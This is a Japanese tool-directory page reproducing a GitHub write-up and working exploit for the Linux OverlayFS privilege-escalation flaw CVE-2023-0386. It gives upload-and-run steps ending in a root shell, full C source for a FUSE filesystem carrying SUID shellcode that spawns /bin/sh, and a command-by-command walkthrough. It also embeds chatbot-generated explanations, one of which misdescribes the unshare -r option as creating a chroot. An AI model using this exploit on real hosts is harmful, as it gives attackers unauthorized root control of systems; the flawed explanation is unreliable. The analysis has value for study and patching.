Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-0386 — CVE-2023-0386 の非常に簡単なエクスプロイトと分析。c と sh を使用。 | Kitploit
ツール/GitHubGitHub/fanxiaoyao66/cve-2023-0386
特権昇格脆弱性分析エクスプロイト学習と教育コンテナエスケープバイナリエクスプロイト
GitHubfanxiaoyao66/cve-2023-0386

CVE-2023-0386

CVE-2023-0386 の非常に簡単なエクスプロイトと分析。c と sh を使用。

リポジトリを見る
2243年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

typora-copy-images-to: ./image

CVE-2023-0386

利用方法:

最初に:fuse.c と exp.sh を /tmp ディレクトリにアップロードします。

  • scp または python3 -m http.server を使って、ファイルをターゲットにアップロードできます。

    root@kitploit:~
    scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp 
    scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #your machine
    

    または

    root@kitploit:~
    cd ~/Desktop/CVE-2023-0386
    python3 -m http.server #your machine
    
    root@kitploit:~
    wget your_ip:8000/exp.sh
    wget your_ip:8000/fuse.c #target
    

そして:

root@kitploit:~
cd /tmp
/bin/bash exp.sh

これで、あなたは root です!

image-20230628154304898

以下は CVE-2023-0386 の詳細な分析です。


昨日もこの脆弱性について一日中調べました。簡単に言えば、OverlayFS が下層のファイルを上層にコピーする際に、下層ファイルの名前空間のユーザーが現在のユーザー名前空間にマッピングされているかどうかを検証していないため、SUID を設定して権限昇格が可能になる、というものです。

これは非常に抽象的に聞こえます。この問題を理解するには、まず以下のポイントを知る必要があります。

  • OverlayFS とは?
  • FUSE とは?
  • ユーザー名前空間とは?
  • なぜ権限昇格が起こるのか?

OverlayFS とは?

ChatGPT: Linux の OverlayFS について詳しく説明してください。

OverlayFS は、Overlay ファイルシステムとも呼ばれ、Linux カーネルにおける Union ファイルシステムです。このシステムは、複数の異なるファイルシステムを重ね合わせて、単一の統一されたビューを形成できます。Linux 3.18 で正式にカーネルに採用されました。

OverlayFS には、lower filesystem、upper filesystem、merged filesystem という3つの重要な構成要素があります。それぞれの役割は次のとおりです:

  1. Lower filesystem(下層ファイルシステム): これは基本層で、通常は読み取り専用です。すべてのファイルとディレクトリは、最初はこの層から取得されます。

  2. Upper filesystem(上層ファイルシステム): これは最上位層で、通常は書き込み可能です。ファイルシステムへの書き込み操作を行うと、すべての変更はこの層に保存されます。lower filesystem にファイルが存在するが変更したい場合は、そのファイルのコピーが upper filesystem に作成され、その後変更されます。このプロセスを「copy-up」と呼びます。

  3. Merged filesystem(マージファイルシステム): これは OverlayFS の最終的なビューであり、lower と upper のファイルシステムを組み合わせたものです。読み取り操作を行うと、OverlayFS はまず upper filesystem でファイルを探し、見つからなければ lower filesystem で探します。

この構造の論理ビューは次のとおりです:

root@kitploit:~
     ________________
    |                |
    |  Merged View   |
    |________________|
       /          \
____________    ____________
|          |    |          |
|  Lower   |    |  Upper   |
| (read-only)|  | (read-write)|
|____________|  |____________|

OverlayFS の重要な用途の一つは、コンテナ化されたアプリケーション、特に Docker です。Docker では、各イメージレイヤは読み取り専用であり、他のコンテナの lower filesystem として使用できます。新しいコンテナを起動すると、Docker はそのために新しい空の upper filesystem を作成します。これにより、コンテナへのすべての変更(新しいソフトウェアのインストールなど)は upper filesystem にのみ影響し、共有されているイメージレイヤには影響しません。

さらに、OverlayFS は複数の lower filesystem を1つの上層の下にマウントできるため、複数の階層を持つファイルシステムも作成できます。これは Docker のイメージレイヤ構造で広く利用されています。


まとめると、下層のファイルは読み取り専用で、上層のファイルは読み書き可能、マージ層は下層と上層のファイルを統合して単一のビューを表示します。マージ層で、下層には存在するが上層には存在しないファイルを変更すると、下層のファイルがそのまま上層にコピーされ、変更できるようになります。これがまさに脆弱性がトリガーされるポイントです。

FUSE とは?

GPT: あなたは Linux カーネルの専門家です。FUSE とは何か詳しく説明してください。

FUSE(Filesystem in Userspace)は、ユーザースペースでファイルシステムを作成するための仕組みです。これは Linux カーネルが提供するインターフェースで、ユーザーはカーネルコードを変更せずに独自のファイルシステムを開発・実行できます。

FUSE の主な目的は、新しいファイルシステムの開発と使用を簡素化することです。FUSE を使えば、多くのカーネル API の詳細を知らなくてもカスタムファイルシステムを作成できます。これは、デバッグ、迅速なプロトタイプ開発、学術研究、非常に特殊なファイルシステム(透過的暗号化ファイルシステム、ネットワークファイルシステムなど)の実装などの場面で非常に役立ちます。

FUSE では、ファイルシステムのロジックの大部分がユーザースペースで実行されます。ユーザースペースはより使いやすい開発環境を提供するため、開発が容易になります。好きなプログラミング言語を使用でき、利用できるライブラリも多く、エラー処理も簡単です。一方で、FUSE ファイルシステムはユーザースペースとカーネルスペースの間で頻繁にコンテキストスイッチを行う必要があるため、通常、カーネルスペースのファイルシステムよりも遅くなります。

FUSE ファイルシステムは通常、次の2つの部分で構成されます:

  1. ファイルシステムの実際のロジックを実装するユーザースペースのデーモン。
  2. すべてのファイルシステム操作を処理し、それをユーザースペースのデーモンに転送して、結果を呼び出し元に返すカーネルスペースの FUSE モジュール。

FUSE ファイルシステムを開発するときは、ファイルを開く、読み取る、書き込むなど、さまざまなファイルシステム操作に対応する一連のコールバック関数を実装する必要があります。これらの操作が発生すると、FUSE カーネルモジュールは対応するコールバック関数を呼び出し、結果を呼び出し元に返します。

要するに、FUSE はユーザースペースでファイルシステムを実装するための強力なフレームワークを提供し、ファイルシステムの開発を簡素化するとともに、モジュール方式での拡張と変更を可能にします。


実のところ、FUSE はユーザーがファイルシステムとその中のファイルを自由に定義できるようにするものです。

FUSE 関連のコードは C 言語で記述する必要があります。

ユーザー名前空間とは?

GPT: あなたは Linux カーネルの専門家です。ユーザー名前空間とは何ですか?

Linux では、「名前空間」はカーネルの機能の一つで、プロセスのビューを分離し、プロセスが同じ名前空間に属するリソースだけを見られるようにするために使われます。各タイプの名前空間は、特定のタイプのリソースに対応しています。例えば、PID(Process ID)名前空間はプロセス ID を分離し、Net 名前空間はネットワークインターフェースとネットワークスタックを分離し、Mount 名前空間はファイルシステムのマウントポイントを分離します。

ユーザー名前空間(User Namespaces)は Linux の名前空間の一種で、主にユーザー ID とユーザーグループ ID を分離するために使われます。各ユーザー名前空間は、独自のユーザー ID とグループ ID のセットを持ちます。例えば、あるプロセスはユーザー名前空間 A では root ユーザー(UID 0)として実行されるかもしれませんが、ユーザー名前空間 B では単なる一般ユーザーかもしれません。

この利点は、プロセスが自分のユーザー名前空間内で root 権限を持っていても、他のユーザー名前空間のリソースに影響を与えられないことです。他の名前空間では、そのプロセスは単なる一般ユーザーかもしれないからです。これによりシステムのセキュリティが大幅に向上し、コンテナ(実際には独自の名前空間のセットで動作するプロセス群)が攻撃されても、攻撃者はホストシステムや他のコンテナに影響を与えられません。

ユーザー名前空間は、Linux コンテナ(Docker、LXC など)の中核技術の一つです。ユーザー名前空間と他の種類の名前空間を使用することで、コンテナは仮想化を必要とせずに仮想マシンに似た隔離性を提供できます。

まとめると、ユーザー名前空間は Linux でユーザー ID とグループ ID を分離するための仕組みであり、システムとコンテナのセキュリティ向上に重要な役割を果たします。

では、ユーザー名前空間マッピングとは何ですか?

Linux のユーザー名前空間には、非常に重要な概念があります。それはユーザー名前空間マッピングです。このマッピングは、異なるユーザー名前空間間でユーザー ID とグループ ID をどのように変換するかを定義します。つまり、あるユーザー名前空間の内部では root に見えるプロセスも、ホストまたは別の名前空間では単なる非特権ユーザーである可能性があります。

このマッピング機構は、/proc/[pid]/uid_map と /proc/[pid]/gid_map ファイルを変更することで設定できます。ここで [pid] はプロセスの PID です。これらのファイルでは、各行が1つのマッピング項目で、名前空間内の ID、名前空間外の ID、ID の範囲という3つのフィールドで構成されます。例えば、「0 1000 1」は、名前空間内の ID 0 が名前空間外の ID 1000 にマッピングされることを示します。

例えば、ユーザー名前空間 A で実行されているプロセスはユーザー ID が 0 で、root ユーザーのように見えるかもしれません。しかし、ユーザー名前空間マッピングで 0 を 1000 にマッピングすると、ホスト名前空間や他のユーザー名前空間から見た場合、そのプロセスのユーザー ID は 1000、つまり一般ユーザーになります。

このように、ユーザー名前空間マッピングは、プロセスが属するユーザー名前空間内では完全な権限(例:root ユーザー)を持ちながら、他の名前空間では依然として一般ユーザーであることを可能にする方法を提供します。これは隔離とセキュリティにとって非常に重要です。

なぜ権限昇格が起こるのか?

下層ファイルシステム内のファイルはユーザーが高度に制御できます(FUSE が生成)。任意のファイルをカスタマイズでき、例えばSUID ファイルも作成できます(ただし、安全性のために FUSE にはいくつかのデフォルト制限があります。その一つが、デフォルトでマウントされるファイルシステムは nosuid であることです。つまり、FUSE ファイルシステム上の setuid ビットと setgid ビットは無視されます。FUSE に無視されても、SUID ビット自体は存在します)。しかし、nosuid システム内の SUID ファイルを OverlayFS の特性を使って下層から上層にコピーできます。ここでの上層は通常のファイルシステムであるため、不正な SUID ファイルが本物の SUID 権限を得ることになり、権限昇格が達成できます。

脆弱性の悪用

準備として、複数のフォルダを作成して OverlayFS を構築する必要があります。

root@kitploit:~
cd /tmp
mkdir fuse upper overlay workdir
  • ここで fuse はユーザー定義ファイルシステムがあるフォルダで、OverlayFS の下層としても使われます。
  • upper は OverlayFS の上層です。
  • overlay は OverlayFS のマージ層です。
  • workdir は OverlayFS の作業ディレクトリです。

1、FUSE ファイルシステムを作成します。

以下の FUSE コードは、c さんのコードを基に私が修正したものです。https://github.com/chenaotian/CVE-2023-0386

root@kitploit:~
#define FUSE_USE_VERSION 30

#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str); //hello文件实际大小
    } else {
        res = -ENOENT;
    }

    return res;
}

static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
        return -ENOENT;
    }

    filler(buf, ".", NULL, 0);//默认显示.和..
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件

    return 0;
}

static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
    puts("[+] open_callback");
    puts(path);
    if (strcmp(path, "hello") == 0)
    {
        int fd = open("", fi->flags);

        return -errno;
    }
    return 0;
}

static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)//读文件的回调函数read
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) {//只支持读hello文件
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
    } else {
        size = 0;
    }

    return size;
}

static int ioctl_callback(const char *p, int cmd, void *arg,
                          struct fuse_file_info *fi, unsigned int flags, void *data)
{
    puts("[+] ioctl callback");
    printf("path %s\n", p);
    printf("cmd 0x%x\n", cmd);
    return 0;
}

static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
    .ioctl = ioctl_callback
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}

私は彼のコードに ioctl_callback 関数を追加しました。後で touch ファイルを使用するためです。これがないと「関数が実装されていません」というエラーになります。

scp でファイルをターゲットマシンに転送します:

root@kitploit:~
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp/root

image-20230628144623425

コンパイル:

root@kitploit:~
gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
root@kitploit:~
admin@2million:/tmp/root$ gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ ls
efuse  fuse  fuse.c  overlay  upper  workdir

FUSE ファイルシステムを作成:

root@kitploit:~
./efuse fuse

fuse フォルダに、root 所有者で SUID を持つ hello ファイルが現れました:

image-20230628144906940

現在、fuse 内は nosuid のため、実行しても権限昇格はできません。

2、FUSE ファイルシステムの準備ができたら、次にユーザー名前空間を作成します:

root@kitploit:~
unshare -Urm

unshare は、現在のシェルプロセスから特定の種類の名前空間を「共有解除」する Linux コマンドです。これにより、仮想化に似た隔離された環境を作成できますが、完全な OS は必要ありません。

unshare コマンドの -Urm オプションの意味は、それぞれ次のとおりです:

  • -U オプションは、ユーザー名前空間の共有を解除します。これにより、新しいシェルプロセスは独自のユーザー名前空間で実行され、すべてのユーザーIDとグループIDのマッピングが一意になります。つまり、例えば新しいシェルプロセスは自分が root ユーザーとして実行されていると認識するかもしれませんが、外部から見ると別の非特権ユーザーとして実行されている可能性があります。
  • -r オプションは、新しい root ディレクトリ(chroot)を確立します。これにより、新しいシェルプロセスは実際のファイルシステムの他の部分にアクセスできなくなります。これは、例えばソフトウェアのコンパイル時に、システムの他の部分を汚染しないように隔離環境を提供するためによく使われます。
  • -m オプションは、マウント名前空間の共有を解除します。これにより、新しいシェルプロセスはマウントポイントを変更しても、他のプロセスに影響を与えません。例えば、新しいファイルシステムをマウントしたり、既存のマウントポイントの属性を変更したりしても、システムの他の部分には影響しません。

まとめると、unshare -Urm コマンドは、独自のユーザー、グループ、マウントポイント、root ディレクトリを持ち、システムの他の部分から完全に隔離された新しい環境を作成します。


3、OverlayFS ファイルシステムを作成します

先ほど作成した fuse ファイルシステムを下層、upper ディレクトリを上層、overlay をマージ層として使います:

root@kitploit:~
mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay

この時点で、マージ層にはすでに hello ファイルが現れています:

image-20230628150045176

ここでは hello ファイルを変更して、hello のコピーが upper に作成されるようにします。これは touch コマンドで実現します。

既に存在するファイルに対して touch を実行すると、そのファイルのタイムスタンプが変更されます。タイムスタンプはファイルのメタデータとして変更されるため、当然 copy-up もトリガーされます。(先ほど ioctl_callback コールバック関数を追加していなければ、touch は実行できません)


touch コマンドは主にファイルのアクセス時刻と修正時刻を変更するために使われます。ファイルが存在しない場合は、新しい空ファイルを作成します。ほとんどの場合、touch コマンドは ioctl 関数を直接呼び出しません。通常呼び出されるシステム関数は open、close、utimes、utimensat などです。

ioctl は非常に汎用的なシステムコールで、デバイス固有の操作や、標準のシステムコールでは表現できない操作に使用されます。例えば、端末の設定変更やネットワークデバイスの状態照会などに使えます。しかし、touch コマンドは主にデバイスではなくファイルシステムとやり取りするため、通常は ioctl を必要としません。

ただし、ioctl が絶対に呼び出されないというわけではありません。ファイルシステムやデバイスドライバが特定の機能を提供するために、特別な ioctl 操作を実装している場合があるからです。例えば、ファイルのタイムスタンプを変更する独自の ioctl 操作を提供するファイルシステムもあるかもしれません。ただし、これは非常に稀で、通常の touch コマンドの動作には該当しません。


touch によって、upper に hello が得られたことがはっきり確認できます。

image-20230628150319971

その後、名前空間を終了し、upper/hello を実行すると権限昇格に成功します。

image-20230628150907762

ツールをダウンロード